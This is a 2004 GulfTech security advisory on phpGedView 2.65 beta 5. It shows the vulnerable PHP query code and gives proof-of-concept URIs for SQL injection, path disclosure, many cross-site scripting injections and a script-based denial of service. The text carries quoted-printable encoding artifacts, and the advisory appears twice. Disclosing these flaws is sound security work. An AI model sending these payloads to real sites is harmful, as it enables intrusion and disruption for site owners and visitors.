JeiAr
13/01/04, 00:45
Vendor : phpGedView=0D
URL : http://phpgedview.sourceforge.net=0D
Version : 2.65 beta 5 > All Versions(??)=0D
Risk : Multiple Vulnerabilities=0D
=0D
=0D
=0D
Description:=0D
The phpGedView project parses GEDCOM 5.5 genealogy files and displays the=
m on the =0D
Internet in a format similar to PAF. All it requires to run is a php enab=
led web =0D
server and a gedcom file. It is easily customizable for use on many diffe=
rent web =0D
sites. It is one of the top 10 most popular projects at SourceForge.=0D
=0D
=0D
=0D
SQL Injection Vulnerability:=0D
phpGedView has a few files which are vulnerable to SQL injection. The vul=
nerable=0D
files are "timeline.php" and "placelist.php" The vulnerabilities are a re=
sult of=0D
input not being properly validated. The data given to these scripts are t=
hen executed=0D
by the "functions_mysql.php" file. As we can see below the $parent_id var=
iable as=0D
well as the $level variable is passed directly into the query without bei=
ng =0D
sanitized by the script at all in the "get_place_list()" function.=0D
=0D
-----[ Begin Code ] -----------------------------------------------------=
------------=0D
=0D
//-- find all of the places=0D
function get_place_list() {=0D
global $numfound, $j, $level, $parent, $found;=0D
global $GEDCOM, $TBLPREFIX, $placelist, $positions;=0D
=0D
// --- find all of the place in the file=0D
if ($level=3D=3D0) $sql =3D "SELECT p_place FROM ".$TBLPREFIX."places WH=
ERE p_level=3D0 =0D
AND p_file=3D'$GEDCOM' ORDER BY p_place";=0D
else {=0D
$psql =3D "SELECT p_id FROM ".$TBLPREFIX."places WHERE p_level=3D".($le=
vel-1)=0D
." AND p_place LIKE '".$parent[$level-1]."' AND p_file=3D'$GEDCOM' ORDE=
R BY =0D
p_place";=0D
$res =3D dbquery($psql);=0D
$row =3D mysql_fetch_row($res);=0D
$parent_id =3D $row[0];=0D
$sql =3D "SELECT p_place FROM ".$TBLPREFIX."places WHERE p_level=3D$lev=
el AND =0D
p_parent_id=3D$parent_id AND p_file=3D'$GEDCOM' ORDER BY p_place";=0D
}=0D
$res =3D dbquery($sql);=0D
while ($row =3D mysql_fetch_row($res)) {=0D
$placelist[] =3D stripslashes($row[0]);=0D
$numfound++;=0D
}=0D
}=0D
=0D
-------------------------------------------------------------------------=
------------=0D
=0D
Below are some URI's which can be used to exploit the issue explained in =
the paragraph =0D
above. Also included is a URI that triggers a somewhat similar SQL vulner=
ability in the=0D
"timeline.php" script.=0D
=0D
/placelist.php?level=3D1[Evil_Query]=0D
/placelist.php?level=3D1&parent[0]=3D[Evil_Query]=0D
/placelist.php?level=3D2&parent[0]=3D&parent[1]=3D[Evil_Query]=0D
/timeline.php?pids=3D[Evil_Query]=0D
=0D
=0D
=0D
Path Disclosure Vulnerability:=0D
There are a decent number of ways an attacker could disclose the full pat=
h of the web =0D
server, thus aiding in the information gathering process preceding an att=
ack. Below are =0D
a list of the vulnerable scripts and proof of concept URI's to reproduce =
the condition.=0D
=0D
/indilist.php?alpha=3D\&surname_sublist=3D\=0D
/famlist.php?alpha=3D(&surname_sublist=3Dyes&surname=3D\=0D
/placelist.php?level=3D1&parent[Blah]=3D=0D
/imageview.php?zoomval=3Dblah=0D
/imageview.php?filename=3D/=0D
/timeline.php?pids[Blah]=3D=0D
/clippings.php?action=3Dadd&id=3DBlah=0D
/login.php?action=3Dlogin=0D
/login.php?&changelanguage=3Dyes&NEWLANGUAGE=3DBlah=0D
/gdbi.php?action=3Dconnect&username=3DBlah=0D
=0D
=0D
=0D
Cross Site Scripting:=0D
I have found over a dozen instances of Cross Site Scripting in phpGedView=
, but there is =0D
probably more. The impact of these vulnerabilities are self explanatory; =
they allow code =0D
execution in the context of the browser of someone viewing the malicious =
URI. Below are =0D
examples of the numerous XSS vulns.=0D
=0D
/descendancy.php?pid=3D<iframe>=0D
/index.php?rootid=3D"><iframe>=0D
/individual.php?pid=3D"><iframe>=0D
/login.php?url=3D/index.php?GEDCOM=3D"><iframe>=0D
/relationship.php?path_to_find=3D"><iframe>=0D
/relationship.php?path_to_find=3D0&pid1=3D"><iframe>=0D
/relationship.php?path_to_find=3D0&pid1=3D&pid2=3D"><iframe>=0D
/source.php?sid=3D<iframe>=0D
/imageview.php?filename=3D<iframe>=0D
/calendar.php?action=3Dtoday&day=3D1&month=3Djan&year=3D"><iframe>=0D
/calendar.php?action=3Dtoday&day=3D1&month=3D<iframe>=0D
/calendar.php?action=3Dtoday&day=3D<iframe>=0D
/gedrecord.php?pid=3D<iframe>=0D
/login.php?action=3Dlogin&username=3D"><iframe>=0D
/login.php?&changelanguage=3Dyes&NEWLANGUAGE=3D<iframe>=0D
/gdbi_interface.php?action=3Ddelete&pid=3D<iframe>=0D
=0D
=0D
=0D
Denial Of Service:=0D
It is also possible for an attacker to launch a DoS of sorts against a us=
er who visits a =0D
certain URI. The vulnerability is in the language variable not being prop=
erly validated. =0D
If an attacker sends the following URI to a victim, they will not be able=
to access the =0D
phpGedView web site until they either clear their cookies, or manually re=
set the language =0D
settings by typing in a valid URI to reset the language back to something=
acceptable. The=0D
phpGedView website will not be able to be viewed by the victim until then=
..=0D
=0D
/login.php?&changelanguage=3Dyes&NEWLANGUAGE=3D[Junk_Here]=0D
=0D
Or even one hundred million times more annoying is this :P=0D
=0D
/index.php?&changelanguage=3Dyes&NEWLANGUAGE=3D<script>var i=3D1; w=
hile(i){alert(i);};</script>=0D
=0D
As I mentioned before though, it is possible to regain a normal session b=
y manually typing =0D
in a value in the language variable that is acceptable to phpGedView. =0D
=0D
=0D
=0D
Solution:=0D
These vulnerabilities have been addressed in the latest beta release. Use=
rs may obtain the=0D
latest beta version at http://sourceforge.net/project/showfiles.php?group=
_id=3D55456=0D
=0D
=0D
=0D
Credits:=0D
Credits go to JeiAr of the GulfTech Security Research Team.=0D
http://www.gulftech.org
URL : http://phpgedview.sourceforge.net=0D
Version : 2.65 beta 5 > All Versions(??)=0D
Risk : Multiple Vulnerabilities=0D
=0D
=0D
=0D
Description:=0D
The phpGedView project parses GEDCOM 5.5 genealogy files and displays the=
m on the =0D
Internet in a format similar to PAF. All it requires to run is a php enab=
led web =0D
server and a gedcom file. It is easily customizable for use on many diffe=
rent web =0D
sites. It is one of the top 10 most popular projects at SourceForge.=0D
=0D
=0D
=0D
SQL Injection Vulnerability:=0D
phpGedView has a few files which are vulnerable to SQL injection. The vul=
nerable=0D
files are "timeline.php" and "placelist.php" The vulnerabilities are a re=
sult of=0D
input not being properly validated. The data given to these scripts are t=
hen executed=0D
by the "functions_mysql.php" file. As we can see below the $parent_id var=
iable as=0D
well as the $level variable is passed directly into the query without bei=
ng =0D
sanitized by the script at all in the "get_place_list()" function.=0D
=0D
-----[ Begin Code ] -----------------------------------------------------=
------------=0D
=0D
//-- find all of the places=0D
function get_place_list() {=0D
global $numfound, $j, $level, $parent, $found;=0D
global $GEDCOM, $TBLPREFIX, $placelist, $positions;=0D
=0D
// --- find all of the place in the file=0D
if ($level=3D=3D0) $sql =3D "SELECT p_place FROM ".$TBLPREFIX."places WH=
ERE p_level=3D0 =0D
AND p_file=3D'$GEDCOM' ORDER BY p_place";=0D
else {=0D
$psql =3D "SELECT p_id FROM ".$TBLPREFIX."places WHERE p_level=3D".($le=
vel-1)=0D
." AND p_place LIKE '".$parent[$level-1]."' AND p_file=3D'$GEDCOM' ORDE=
R BY =0D
p_place";=0D
$res =3D dbquery($psql);=0D
$row =3D mysql_fetch_row($res);=0D
$parent_id =3D $row[0];=0D
$sql =3D "SELECT p_place FROM ".$TBLPREFIX."places WHERE p_level=3D$lev=
el AND =0D
p_parent_id=3D$parent_id AND p_file=3D'$GEDCOM' ORDER BY p_place";=0D
}=0D
$res =3D dbquery($sql);=0D
while ($row =3D mysql_fetch_row($res)) {=0D
$placelist[] =3D stripslashes($row[0]);=0D
$numfound++;=0D
}=0D
}=0D
=0D
-------------------------------------------------------------------------=
------------=0D
=0D
Below are some URI's which can be used to exploit the issue explained in =
the paragraph =0D
above. Also included is a URI that triggers a somewhat similar SQL vulner=
ability in the=0D
"timeline.php" script.=0D
=0D
/placelist.php?level=3D1[Evil_Query]=0D
/placelist.php?level=3D1&parent[0]=3D[Evil_Query]=0D
/placelist.php?level=3D2&parent[0]=3D&parent[1]=3D[Evil_Query]=0D
/timeline.php?pids=3D[Evil_Query]=0D
=0D
=0D
=0D
Path Disclosure Vulnerability:=0D
There are a decent number of ways an attacker could disclose the full pat=
h of the web =0D
server, thus aiding in the information gathering process preceding an att=
ack. Below are =0D
a list of the vulnerable scripts and proof of concept URI's to reproduce =
the condition.=0D
=0D
/indilist.php?alpha=3D\&surname_sublist=3D\=0D
/famlist.php?alpha=3D(&surname_sublist=3Dyes&surname=3D\=0D
/placelist.php?level=3D1&parent[Blah]=3D=0D
/imageview.php?zoomval=3Dblah=0D
/imageview.php?filename=3D/=0D
/timeline.php?pids[Blah]=3D=0D
/clippings.php?action=3Dadd&id=3DBlah=0D
/login.php?action=3Dlogin=0D
/login.php?&changelanguage=3Dyes&NEWLANGUAGE=3DBlah=0D
/gdbi.php?action=3Dconnect&username=3DBlah=0D
=0D
=0D
=0D
Cross Site Scripting:=0D
I have found over a dozen instances of Cross Site Scripting in phpGedView=
, but there is =0D
probably more. The impact of these vulnerabilities are self explanatory; =
they allow code =0D
execution in the context of the browser of someone viewing the malicious =
URI. Below are =0D
examples of the numerous XSS vulns.=0D
=0D
/descendancy.php?pid=3D<iframe>=0D
/index.php?rootid=3D"><iframe>=0D
/individual.php?pid=3D"><iframe>=0D
/login.php?url=3D/index.php?GEDCOM=3D"><iframe>=0D
/relationship.php?path_to_find=3D"><iframe>=0D
/relationship.php?path_to_find=3D0&pid1=3D"><iframe>=0D
/relationship.php?path_to_find=3D0&pid1=3D&pid2=3D"><iframe>=0D
/source.php?sid=3D<iframe>=0D
/imageview.php?filename=3D<iframe>=0D
/calendar.php?action=3Dtoday&day=3D1&month=3Djan&year=3D"><iframe>=0D
/calendar.php?action=3Dtoday&day=3D1&month=3D<iframe>=0D
/calendar.php?action=3Dtoday&day=3D<iframe>=0D
/gedrecord.php?pid=3D<iframe>=0D
/login.php?action=3Dlogin&username=3D"><iframe>=0D
/login.php?&changelanguage=3Dyes&NEWLANGUAGE=3D<iframe>=0D
/gdbi_interface.php?action=3Ddelete&pid=3D<iframe>=0D
=0D
=0D
=0D
Denial Of Service:=0D
It is also possible for an attacker to launch a DoS of sorts against a us=
er who visits a =0D
certain URI. The vulnerability is in the language variable not being prop=
erly validated. =0D
If an attacker sends the following URI to a victim, they will not be able=
to access the =0D
phpGedView web site until they either clear their cookies, or manually re=
set the language =0D
settings by typing in a valid URI to reset the language back to something=
acceptable. The=0D
phpGedView website will not be able to be viewed by the victim until then=
..=0D
=0D
/login.php?&changelanguage=3Dyes&NEWLANGUAGE=3D[Junk_Here]=0D
=0D
Or even one hundred million times more annoying is this :P=0D
=0D
/index.php?&changelanguage=3Dyes&NEWLANGUAGE=3D<script>var i=3D1; w=
hile(i){alert(i);};</script>=0D
=0D
As I mentioned before though, it is possible to regain a normal session b=
y manually typing =0D
in a value in the language variable that is acceptable to phpGedView. =0D
=0D
=0D
=0D
Solution:=0D
These vulnerabilities have been addressed in the latest beta release. Use=
rs may obtain the=0D
latest beta version at http://sourceforge.net/project/showfiles.php?group=
_id=3D55456=0D
=0D
=0D
=0D
Credits:=0D
Credits go to JeiAr of the GulfTech Security Research Team.=0D
http://www.gulftech.org